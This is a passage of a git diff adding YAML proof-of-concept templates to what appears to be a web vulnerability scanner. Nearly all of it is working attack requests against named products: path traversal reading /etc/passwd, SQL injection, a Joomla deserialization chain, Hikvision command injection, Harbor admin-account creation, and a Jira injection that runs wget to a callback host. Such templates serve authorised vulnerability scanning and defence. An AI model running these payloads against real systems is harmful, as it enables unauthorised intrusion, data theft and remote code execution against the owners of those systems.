response.body.bcontains(b"strPasswd") +expression: h5s1() || h5s2() +detail: + author: iak3ec(https://github.com/nu0l) + payload: /#/Dashboard | /#/Settings/Camera + links: + - https://www.cnvd.org.cn/flaw/show/CNVD-2020-67113 diff --git a/webscan/pocs/hadoop-yarn-unauth.yml b/webscan/pocs/hadoop-yarn-unauth.yml new file mode 100644 index 0000000..860bfea --- /dev/null +++ b/webscan/pocs/hadoop-yarn-unauth.yml @@ -0,0 +1,13 @@ +name: poc-yaml-hadoop-yarn-unauth +rules: + - method: GET + path: /ws/v1/cluster/info + follow_redirects: true + headers: + Content-Type: application/json + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"resourceManagerVersionBuiltOn") && response.body.bcontains(b"hadoopVersion") +detail: + author: p0wd3r,sharecast + links: + - https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn diff --git a/webscan/pocs/hanming-video-conferencing-file-read.yml b/webscan/pocs/hanming-video-conferencing-file-read.yml new file mode 100644 index 0000000..77cf9d7 --- /dev/null +++ b/webscan/pocs/hanming-video-conferencing-file-read.yml @@ -0,0 +1,20 @@ +name: poc-yaml-hanming-video-conferencing-file-read +groups: + windows: + - method: GET + path: /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini + follow_redirects: false + expression: | + response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) + + linux: + - method: GET + path: /register/toDownload.do?fileName=../../../../../../../../../../../../../../etc/passwd + follow_redirects: false + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + +detail: + author: kzaopa(https://github.com/kzaopa) + links: + - https://mp.weixin.qq.com/s/F-M21PT0xn9QOuwoC8llKA \ No newline at end of file diff --git a/webscan/pocs/harbor-cve-2019-16097.yml b/webscan/pocs/harbor-cve-2019-16097.yml new file mode 100644 index 0000000..998ac04 --- /dev/null +++ b/webscan/pocs/harbor-cve-2019-16097.yml @@ -0,0 +1,24 @@ +name: poc-yaml-harbor-cve-2019-16097 +set: + r1: randomInt(5, 10) + r2: randomLowercase(r1) +rules: + - method: GET + path: / + expression: response.body.bcontains(b"Harbor") + - method: POST + path: /api/users + headers: + Content-Type: application/json + body: >- + {"username": "{{r2}}", "has_admin_role": true, "password": "{{r2}}", + "email": "{{r2}}@example.com", "realname": "{{r2}}"} + follow_redirects: false + expression: | + response.status == 201 +detail: + author: scanf & Soveless(https://github.com/Soveless) & cc_ci(https://github.com/cc8ci) + links: + - https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/ + - https://github.com/goharbor/harbor/issues/8951 + - https://www.freebuf.com/vuls/214767.html \ No newline at end of file diff --git a/webscan/pocs/hikvision-cve-2017-7921.yml b/webscan/pocs/hikvision-cve-2017-7921.yml new file mode 100644 index 0000000..9fda1f5 --- /dev/null +++ b/webscan/pocs/hikvision-cve-2017-7921.yml @@ -0,0 +1,11 @@ +name: poc-yaml-hikvision-cve-2017-7921 +rules: + - method: GET + path: /system/deviceInfo?auth=YWRtaW46MTEK + follow_redirects: false + expression: | + response.status == 200 && response.headers["content-type"] == "application/xml" && response.body.bcontains(b"") +detail: + author: whwlsfb(https://github.com/whwlsfb) + links: + - https://packetstormsecurity.com/files/144097/Hikvision-IP-Camera-Access-Bypass.html diff --git a/webscan/pocs/hikvision-gateway-data-file-read.yml b/webscan/pocs/hikvision-gateway-data-file-read.yml new file mode 100644 index 0000000..646c609 --- /dev/null +++ b/webscan/pocs/hikvision-gateway-data-file-read.yml @@ -0,0 +1,15 @@ +name: hikvision-gateway-data-file-read +rules: + - method: GET + path: /data/login.php::$DATA + expression: | + response.status == 200 && response.body.bcontains(b'DataBaseQuery();') && response.body.bcontains(b'$_POST[\'userName\'];') && response.body.bcontains(b'$_POST[\'password\'];') +info: + author: zan8in + description: | + HIKVISION 视频编码设备接入网关 $DATA 任意文件读取 + HIKVISION 视频编码设备接入网关存在配置错误特性,特殊后缀请求php文件可读取源码 + title="视频编码设备接入网关" + links: + - http://wiki.peiqi.tech/wiki/iot/HIKVISION/HIKVISION%20%E8%A7%86%E9%A2%91%E7%BC%96%E7%A0%81%E8%AE%BE%E5%A4%87%E6%8E%A5%E5%85%A5%E7%BD%91%E5%85%B3%20$DATA%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.html + diff --git a/webscan/pocs/hikvision-info-leak.yml b/webscan/pocs/hikvision-info-leak.yml new file mode 100644 index 0000000..bfb2b9a --- /dev/null +++ b/webscan/pocs/hikvision-info-leak.yml @@ -0,0 +1,17 @@ +name: poc-yaml-hikvision-info-leak +rules: + - method: GET + path: / + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"流媒体管理服务器") && response.body.bcontains(b"海康威视") + - method: GET + path: /config/user.xml + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"$(echo {{r1}}${{{r2}}}{{r3}}^{{r4}}>webLib/{{r4}}) + expression: response.status == 500 && response.body.bcontains(b"/SDK/webLanguage") + - method: GET + path: /{{r4}} + headers: + Content-Type: application/json;charset=utf-8 + expression: response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4))) + - method: PUT + path: /SDK/webLanguage + headers: + X-Requested-With: XMLHttpRequest + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + body: | + $(rm webLib/{{r4}}) + expression: response.status == 500 +detail: + author: york + links: + - https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html + - https://github.com/Aiminsun/CVE-2021-36260 diff --git a/webscan/pocs/hjtcloud-arbitrary-fileread.yml b/webscan/pocs/hjtcloud-arbitrary-fileread.yml new file mode 100644 index 0000000..c1c45e6 --- /dev/null +++ b/webscan/pocs/hjtcloud-arbitrary-fileread.yml @@ -0,0 +1,12 @@ +name: poc-yaml-hjtcloud-arbitrary-fileread +groups: + linux: + - method: POST + path: /fileDownload?action=downloadBackupFile + body: fullPath=/etc/passwd + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E4%B8%AD%E5%88%9B%E8%A7%86%E8%BF%85/%E4%BC%9A%E6%8D%B7%E9%80%9A%E4%BA%91%E8%A7%86%E8%AE%AF%20fileDownload%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.html diff --git a/webscan/pocs/hjtcloud-directory-file-leak.yml b/webscan/pocs/hjtcloud-directory-file-leak.yml new file mode 100644 index 0000000..59f5f54 --- /dev/null +++ b/webscan/pocs/hjtcloud-directory-file-leak.yml @@ -0,0 +1,11 @@ +name: poc-yaml-hjtcloud-directory-file-leak +rules: + - method: GET + path: "/him/api/rest/V1.0/system/log/list?filePath=../" + expression: | + response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"\"absolutePath\":\"/var/logs/") +detail: + author: YekkoY + description: "会捷通云视讯 list 目录文件泄露漏洞" + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E4%B8%AD%E5%88%9B%E8%A7%86%E8%BF%85/%E4%BC%9A%E6%8D%B7%E9%80%9A%E4%BA%91%E8%A7%86%E8%AE%AF%20list%20%E7%9B%AE%E5%BD%95%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html diff --git a/webscan/pocs/huawei-home-gateway-hg659-fileread.yml b/webscan/pocs/huawei-home-gateway-hg659-fileread.yml new file mode 100644 index 0000000..ba2d070 --- /dev/null +++ b/webscan/pocs/huawei-home-gateway-hg659-fileread.yml @@ -0,0 +1,10 @@ +name: poc-yaml-huawei-home-gateway-hg659-fileread +rules: + - method: GET + path: /lib///....//....//....//....//....//....//....//....//etc//passwd + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://poc.shuziguanxing.com/#/publicIssueInfo#issueId=4210 diff --git a/webscan/pocs/ifw8-router-cve-2019-16313.yml b/webscan/pocs/ifw8-router-cve-2019-16313.yml new file mode 100644 index 0000000..75ac364 --- /dev/null +++ b/webscan/pocs/ifw8-router-cve-2019-16313.yml @@ -0,0 +1,21 @@ +name: poc-yaml-ifw8-router-cve-2019-16313 +rules: + - method: GET + path: >- + /index.htm?PAGE=web + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(b"www.ifw8.cn") + - method: GET + path: >- + /action/usermanager.htm + follow_redirects: false + expression: > + response.status == 200 && "\"pwd\":\"[0-9a-z]{32}\"".bmatches(response.body) +detail: + author: cc_ci(https://github.com/cc8ci) + Affected Version: "v4.31" + links: + - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16313 + - http://www.iwantacve.cn/index.php/archives/311/ + - https://nvd.nist.gov/vuln/detail/CVE-2019-16312 \ No newline at end of file diff --git a/webscan/pocs/iis-put-getshell.yml b/webscan/pocs/iis-put-getshell.yml new file mode 100644 index 0000000..82f020d --- /dev/null +++ b/webscan/pocs/iis-put-getshell.yml @@ -0,0 +1,22 @@ +name: poc-yaml-iis-put-getshell +set: + filename: randomLowercase(6) + fileContent: randomLowercase(6) + +rules: + - method: PUT + path: /{{filename}}.txt + body: | + {{fileContent}} + expression: | + response.status == 201 + - method: GET + path: /{{filename}}.txt + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(fileContent)) + +detail: + author: Cannae(github.com/thunderbarca) + links: + - https://www.cnblogs.com/-mo-/p/11295400.html diff --git a/webscan/pocs/influxdb-unauth.yml b/webscan/pocs/influxdb-unauth.yml new file mode 100644 index 0000000..729668d --- /dev/null +++ b/webscan/pocs/influxdb-unauth.yml @@ -0,0 +1,16 @@ +name: poc-yaml-influxdb-unauth +rules: + - method: GET + path: /ping + follow_redirects: true + expression: | + response.status == 204 && "x-influxdb-version" in response.headers + - method: GET + path: /query?q=show%20users + follow_redirects: true + expression: > + response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"columns") && response.body.bcontains(b"user") +detail: + author: p0wd3r + links: + - https://docs.influxdata.com/influxdb/v1.7/tools/api/ \ No newline at end of file diff --git a/webscan/pocs/inspur-tscev4-cve-2020-21224-rce.yml b/webscan/pocs/inspur-tscev4-cve-2020-21224-rce.yml new file mode 100644 index 0000000..e853886 --- /dev/null +++ b/webscan/pocs/inspur-tscev4-cve-2020-21224-rce.yml @@ -0,0 +1,13 @@ +name: poc-yaml-inspur-tscev4-cve-2020-21224-rce +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: /login + body: op=login&username=1 2\',\'1\'\);`expr%20{{r1}}%20%2b%20{{r2}}` + expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes(string(r1 + r2))) +detail: + author: jingling(https://github.com/shmilylty) + links: + - https://github.com/NS-Sp4ce/Inspur diff --git a/webscan/pocs/jboss-cve-2010-1871.yml b/webscan/pocs/jboss-cve-2010-1871.yml new file mode 100644 index 0000000..c691a25 --- /dev/null +++ b/webscan/pocs/jboss-cve-2010-1871.yml @@ -0,0 +1,15 @@ +name: poc-yaml-jboss-cve-2010-1871 +set: + r1: randomInt(8000000, 10000000) + r2: randomInt(8000000, 10000000) +rules: + - method: GET + path: /admin-console/index.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23%7b{{r1}}*{{r2}}%7d + follow_redirects: false + expression: | + response.status == 302 && response.headers["location"].contains(string(r1 * r2)) +detail: + author: fuping + links: + - http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871 \ No newline at end of file diff --git a/webscan/pocs/jboss-unauth.yml b/webscan/pocs/jboss-unauth.yml new file mode 100644 index 0000000..5fbe218 --- /dev/null +++ b/webscan/pocs/jboss-unauth.yml @@ -0,0 +1,11 @@ +name: poc-yaml-jboss-unauth +rules: + - method: GET + path: /jmx-console/ + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"jboss.management.local") && response.body.bcontains(b"jboss.web") +detail: + author: FiveAourThe(https://github.com/FiveAourThe) + links: + - https://xz.aliyun.com/t/6103 \ No newline at end of file diff --git a/webscan/pocs/jeewms-showordownbyurl-fileread.yml b/webscan/pocs/jeewms-showordownbyurl-fileread.yml new file mode 100644 index 0000000..7aba447 --- /dev/null +++ b/webscan/pocs/jeewms-showordownbyurl-fileread.yml @@ -0,0 +1,16 @@ +name: poc-yaml-jeewms-showordownbyurl-fileread +groups: + linux: + - method: GET + path: /systemController/showOrDownByurl.do?down=&dbPath=../../../../../../etc/passwd + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + windows: + - method: GET + path: /systemController/showOrDownByurl.do?down=&dbPath=../../../../../Windows/win.ini + expression: | + response.status == 200 && response.body.bcontains(b"for 16-bit app support") +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://mp.weixin.qq.com/s/ylOuWc8elD2EtM-1LiJp9g diff --git a/webscan/pocs/jellyfin-file-read-cve-2021-21402.yml b/webscan/pocs/jellyfin-file-read-cve-2021-21402.yml new file mode 100644 index 0000000..bba59e1 --- /dev/null +++ b/webscan/pocs/jellyfin-file-read-cve-2021-21402.yml @@ -0,0 +1,10 @@ +name: poc-yaml-jellyfin-file-read-cve-2021-21402 +rules: + - method: GET + path: "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/" + expression: | + response.status == 200 && response.body.bcontains(b"for 16-bit app support") +detail: + author: Print1n(https://github.com/Print1n) + links: + - https://blog.csdn.net/qq_41503511/article/details/116274406 diff --git a/webscan/pocs/jenkins-cve-2018-1000600.yml b/webscan/pocs/jenkins-cve-2018-1000600.yml new file mode 100644 index 0000000..663f427 --- /dev/null +++ b/webscan/pocs/jenkins-cve-2018-1000600.yml @@ -0,0 +1,13 @@ +name: poc-yaml-jenkins-cve-2018-1000600 +set: + reverse: newReverse() + reverseUrl: reverse.url +rules: + - method: GET + path: /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl={{reverseUrl}} + expression: | + response.status == 200 && reverse.wait(5) +detail: + author: PickledFish(https://github.com/PickledFish) + links: + - https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/ diff --git a/webscan/pocs/jenkins-cve-2018-1000861-rce.yml b/webscan/pocs/jenkins-cve-2018-1000861-rce.yml new file mode 100644 index 0000000..1eb3e2b --- /dev/null +++ b/webscan/pocs/jenkins-cve-2018-1000861-rce.yml @@ -0,0 +1,14 @@ +name: poc-yaml-jenkins-cve-2018-1000861-rce +set: + rand: randomLowercase(4) +rules: + - method: GET + path: >- + /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27{{rand}}%27,%20version=%271%27)%0aimport%20Payload; + follow_redirects: false + expression: >- + response.status == 200 && response.body.bcontains(bytes("package#" + rand)) +detail: + author: p0wd3r + links: + - https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861 diff --git a/webscan/pocs/jenkins-unauthorized-access.yml b/webscan/pocs/jenkins-unauthorized-access.yml new file mode 100644 index 0000000..dabe88b --- /dev/null +++ b/webscan/pocs/jenkins-unauthorized-access.yml @@ -0,0 +1,21 @@ +name: poc-yaml-jenkins-unauthorized-access +set: + r1: randomInt(1000, 9999) + r2: randomInt(1000, 9999) +rules: + - method: GET + path: /script + follow_redirects: false + expression: response.status == 200 + search: | + "Jenkins-Crumb", "(?P.+?)"\); + - method: POST + path: /script + body: | + script=printf%28%27{{r1}}%25%25{{r2}}%27%29%3B&Jenkins-Crumb={{var}}&Submit=%E8%BF%90%E8%A1%8C + expression: response.status == 200 && response.body.bcontains(bytes(string(r1) + "%" + string(r2))) +detail: + author: MrP01ntSun(https://github.com/MrPointSun) + links: + - https://www.cnblogs.com/yuzly/p/11255609.html + - https://blog.51cto.com/13770310/2156663 diff --git a/webscan/pocs/jetty-cve-2021-28164.yml b/webscan/pocs/jetty-cve-2021-28164.yml new file mode 100644 index 0000000..219e2c2 --- /dev/null +++ b/webscan/pocs/jetty-cve-2021-28164.yml @@ -0,0 +1,11 @@ +name: poc-yaml-jetty-cve-2021-28164 +rules: + - method: GET + path: /%2e/WEB-INF/web.xml + follow_redirects: false + expression: + response.status == 200 && response.content_type == "application/xml" && response.body.bcontains(b"") +detail: + author: Sup3rm4nx0x (https://github.com/Sup3rm4nx0x) + links: + - https://www.linuxlz.com/aqld/2309.html diff --git a/webscan/pocs/jira-cve-2019-11581.yml b/webscan/pocs/jira-cve-2019-11581.yml new file mode 100644 index 0000000..4248f95 --- /dev/null +++ b/webscan/pocs/jira-cve-2019-11581.yml @@ -0,0 +1,23 @@ +name: poc-yaml-jira-cve-2019-11581 +set: + reverse: newReverse() + reverseUrl: reverse.url +rules: + - method: GET + path: /secure/ContactAdministrators!default.jspa + follow_redirects: false + expression: | + response.status == 200 + search: name="atlassian-token" content="(?P.+?)" + - method: POST + path: /secure/ContactAdministrators.jspa + body: >- + from=admin%40163.com&subject=%24i18n.getClass%28%29.forName%28%27java.lang.Runtime%27%29.getMethod%28%27getRuntime%27%2Cnull%29.invoke%28null%2Cnull%29.exec%28%27wget+{{reverseUrl}}+%27%29.waitFor%28%29&details=exange%20website%20links&atl_token={{token}}&%E5%8F%91%E9%80%81=%E5%8F%91%E9%80%81 + follow_redirects: false + expression: | + response.status == 302 && reverse.wait(5) +detail: + author: harris2015(https://github.com/harris2015) + Affected Version: "cve-2019-11581" + links: + - https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html diff --git a/webscan/pocs/jira-cve-2019-8442.yml b/webscan/pocs/jira-cve-2019-8442.yml new file mode 100644 index 0000000..503fe48 --- /dev/null +++ b/webscan/pocs/jira-cve-2019-8442.yml @@ -0,0 +1,11 @@ +name: poc-yaml-jira-cve-2019-8442 +rules: + - method: GET + path: "/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml" + expression: | + response.status == 200 && response.body.bcontains(bytes(string(b"com.atlassian.jira"))) && response.content_type.contains("application/xml") +detail: + author: pa55w0rd(www.pa55w0rd.online/) + Affected Version: "<7.13.4, 8.00-8.0.4, 8.1.0-8.1.1" + links: + - https://nvd.nist.gov/vuln/detail/CVE-2019-8442 diff --git a/webscan/pocs/jira-cve-2019-8449.yml b/webscan/pocs/jira-cve-2019-8449.yml new file mode 100644 index 0000000..3f83212 --- /dev/null +++ b/webscan/pocs/jira-cve-2019-8449.yml @@ -0,0 +1,10 @@ +name: poc-yaml-jira-cve-2019-8449 +rules: + - method: GET + path: /rest/api/latest/groupuserpicker?query=testuser12345&maxResults=50&showAvatar=false + expression: | + response.status == 200 && response.content_type.icontains("json") && response.headers["X-AREQUESTID"] != "" && response.body.bcontains(b"total") && response.body.bcontains(b"groups") && response.body.bcontains(b"header") && response.body.bcontains(b"users") +detail: + author: MaxSecurity(https://github.com/MaxSecurity) + links: + - https://xz.aliyun.com/t/7219 diff --git a/webscan/pocs/jira-cve-2020-14179.yml b/webscan/pocs/jira-cve-2020-14179.yml new file mode 100644 index 0000000..d15d660 --- /dev/null +++ b/webscan/pocs/jira-cve-2020-14179.yml @@ -0,0 +1,11 @@ +name: poc-yaml-jira-cve-2020-14179 +rules: + - method: GET + path: /secure/QueryComponent!Default.jspa + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"com.atlassian.jira") +detail: + author: harris2015(https://github.com/harris2015) + links: + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14179 diff --git a/webscan/pocs/jira-cve-2020-14181.yml b/webscan/pocs/jira-cve-2020-14181.yml new file mode 100644 index 0000000..3aaa28b --- /dev/null +++ b/webscan/pocs/jira-cve-2020-14181.yml @@ -0,0 +1,14 @@ +name: poc-yaml-jira-cve-2020-14181 +set: + r: randomLowercase(8) +rules: + - method: GET + path: /secure/ViewUserHover.jspa?username={{r}} + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes("/secure/ViewProfile.jspa?name=" + r)) && response.body.bcontains(bytes("com.atlassian.jira")) +detail: + author: whwlsfb(https://github.com/whwlsfb) + links: + - https://www.tenable.com/cve/CVE-2020-14181 + - https://twitter.com/ptswarm/status/1318914772918767619 diff --git a/webscan/pocs/jira-ssrf-cve-2019-8451.yml b/webscan/pocs/jira-ssrf-cve-2019-8451.yml new file mode 100644 index 0000000..4e873ad --- /dev/null +++ b/webscan/pocs/jira-ssrf-cve-2019-8451.yml @@ -0,0 +1,18 @@ +name: poc-yaml-jira-ssrf-cve-2019-8451 +set: + reverse: newReverse() + originScheme: request.url.scheme + originHost: request.url.host + reverseURL: reverse.domain +rules: + - method: GET + path: >- + /plugins/servlet/gadgets/makeRequest?url={{originScheme}}://{{originHost}}@{{reverseURL}} + headers: + X-Atlassian-Token: no-check + expression: | + reverse.wait(5) +detail: + author: jingling(https://github.com/shmilylty) + links: + - https://jira.atlassian.com/browse/JRASERVER-69793 diff --git a/webscan/pocs/joomla-cnvd-2019-34135-rce.yml b/webscan/pocs/joomla-cnvd-2019-34135-rce.yml new file mode 100644 index 0000000..04dd783 --- /dev/null +++ b/webscan/pocs/joomla-cnvd-2019-34135-rce.yml @@ -0,0 +1,27 @@ +name: poc-yaml-joomla-cnvd-2019-34135-rce +set: + r1: randomLowercase(10) + r2: randomLowercase(10) +rules: + - method: GET + path: / + headers: + Content-Type: application/x-www-form-urlencoded + follow_redirects: true + expression: | + response.status == 200 + search: \S{32})" + - method: POST + path: / + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + username=%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0&{{token}}=1&password=AAA%22%3Bs%3A11%3A%22maonnalezzo%22%3AO%3A21%3A%22JDatabaseDriverMysqli%22%3A3%3A%7Bs%3A4%3A%22%5C0%5C0%5C0a%22%3BO%3A17%3A%22JSimplepieFactory%22%3A0%3A%7B%7Ds%3A21%3A%22%5C0%5C0%5C0disconnectHandlers%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SimplePie%22%3A5%3A%7Bs%3A8%3A%22sanitize%22%3BO%3A20%3A%22JDatabaseDriverMysql%22%3A0%3A%7B%7Ds%3A5%3A%22cache%22%3Bb%3A1%3Bs%3A19%3A%22cache_name_function%22%3Bs%3A6%3A%22printf%22%3Bs%3A10%3A%22javascript%22%3Bi%3A9999%3Bs%3A8%3A%22feed_url%22%3Bs%3A43%3A%22http%3A%2F%2FRayTest.6666%2F%3B{{r1}}%25%25{{r2}}%22%3B%7Di%3A1%3Bs%3A4%3A%22init%22%3B%7D%7Ds%3A13%3A%22%5C0%5C0%5C0connection%22%3Bi%3A1%3B%7Ds%3A6%3A%22return%22%3Bs%3A102%3A&option=com_users&task=user.login + follow_redirects: true + expression: | + response.body.bcontains(bytes(r1 + "%" + r2)) +detail: + author: X.Yang + Joomla_version: 3.0.0,3.4.6 + links: + - https://www.exploit-db.com/exploits/47465 diff --git a/webscan/pocs/joomla-component-vreview-sql.yml b/webscan/pocs/joomla-component-vreview-sql.yml new file mode 100644 index 0000000..63de9d9 --- /dev/null +++ b/webscan/pocs/joomla-component-vreview-sql.yml @@ -0,0 +1,18 @@ +name: poc-yaml-joomla-component-vreview-sql +set: + r1: randomInt(800000000, 1000000000) +rules: + - method: POST + path: /index.php?option=com_vreview&task=displayReply + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + profileid=-8511 OR 1 GROUP BY CONCAT(0x7e,md5({{r1}}),0x7e,FLOOR(RAND(0)*2)) HAVING MIN(0)# + follow_redirects: true + expression: | + response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31))) +detail: + author: 南方有梦(https://github.com/hackgov) + Affected Version: "1.9.11" + links: + - https://www.exploit-db.com/exploits/46227 diff --git a/webscan/pocs/joomla-cve-2015-7297-sqli.yml b/webscan/pocs/joomla-cve-2015-7297-sqli.yml new file mode 100644 index 0000000..62786cc --- /dev/null +++ b/webscan/pocs/joomla-cve-2015-7297-sqli.yml @@ -0,0 +1,10 @@ +name: poc-yaml-joomla-cve-2015-7297-sqli +rules: + - method: GET + path: /index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(8888)),1) + expression: response.body.bcontains(b"cf79ae6addba60ad018347359bd144d2") +detail: + links: + - https://www.exploit-db.com/exploits/38797 + - http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html + - https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/ \ No newline at end of file diff --git a/webscan/pocs/joomla-cve-2017-8917-sqli.yml b/webscan/pocs/joomla-cve-2017-8917-sqli.yml new file mode 100644 index 0000000..ad13de3 --- /dev/null +++ b/webscan/pocs/joomla-cve-2017-8917-sqli.yml @@ -0,0 +1,8 @@ +name: poc-yaml-joomla-cve-2017-8917-sqli +rules: + - method: GET + path: "/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(8888)),1)" + expression: response.body.bcontains(b"cf79ae6addba60ad018347359bd144d2") +detail: + links: + - https://github.com/vulhub/vulhub/tree/master/joomla/CVE-2017-8917 \ No newline at end of file diff --git a/webscan/pocs/joomla-cve-2018-7314-sql.yml b/webscan/pocs/joomla-cve-2018-7314-sql.yml new file mode 100644 index 0000000..15fa11a --- /dev/null +++ b/webscan/pocs/joomla-cve-2018-7314-sql.yml @@ -0,0 +1,13 @@ +name: poc-yaml-joomla-cve-2018-7314-sql +set: + r1: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /index.php?option=com_prayercenter&task=confirm&id=1&sessionid=1' AND EXTRACTVALUE(22,CONCAT(0x7e,md5({{r1}})))-- X + expression: | + response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31))) +detail: + author: 南方有梦(http://github.com/hackgov) + Affected Version: "3.0.2" + links: + - https://www.exploit-db.com/exploits/44160 diff --git a/webscan/pocs/joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml b/webscan/pocs/joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml new file mode 100644 index 0000000..30888c4 --- /dev/null +++ b/webscan/pocs/joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml @@ -0,0 +1,20 @@ +name: poc-yaml-joomla-ext-zhbaidumap-cve-2018-6605-sqli +set: + rand: randomInt(2000000000, 2100000000) +rules: + - method: POST + path: >- + /index.php?option=com_zhbaidumap&no_html=1&format=raw&task=getPlacemarkDetails + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + id=-1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,md5({{rand}}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+ + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) && response.body.bcontains(b"dataexists") +detail: + author: leezp + Affected Version: "zhBaidumap plugin 3.0.0.*" + links: + - https://www.exploit-db.com/exploits/43974 + - https://mp.weixin.qq.com/s?__biz=MzAxODg1MDMwOQ==&mid=2247489109&idx=1&sn=0c9a3388e4ac1389897b4449fb3afNULL0&chksm=9bcea13facb928293ac06fede04f15d564b60a5e8ad26208f28ebe175017aa3d2144617f2b60&mpshare=1&scene=23&srcid=0418r0yqNrZ1hyGCdDHl8EK1#rd \ No newline at end of file diff --git a/webscan/pocs/jumpserver-unauth-rce.yml b/webscan/pocs/jumpserver-unauth-rce.yml new file mode 100644 index 0000000..36d9752 --- /dev/null +++ b/webscan/pocs/jumpserver-unauth-rce.yml @@ -0,0 +1,33 @@ +name: poc-yaml-jumpserver-unauth-rce +set: + r1: randomLowercase(5) +groups: + users: + - method: GET + path: /api/v1/users/connection-token/ + follow_redirects: false + expression: | + response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated") + - method: GET + path: /api/v1/users/connection-token/?user-only={{r1}} + follow_redirects: false + expression: | + response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"") + authentication: + - method: GET + path: /api/v1/authentication/connection-token/ + follow_redirects: false + expression: | + response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated") + - method: GET + path: /api/v1/authentication/connection-token/?user-only={{r1}} + follow_redirects: false + expression: | + response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"") +detail: + author: mvhz81 + info: jumpserver unauth read logfile + jumpserver rce + links: + - 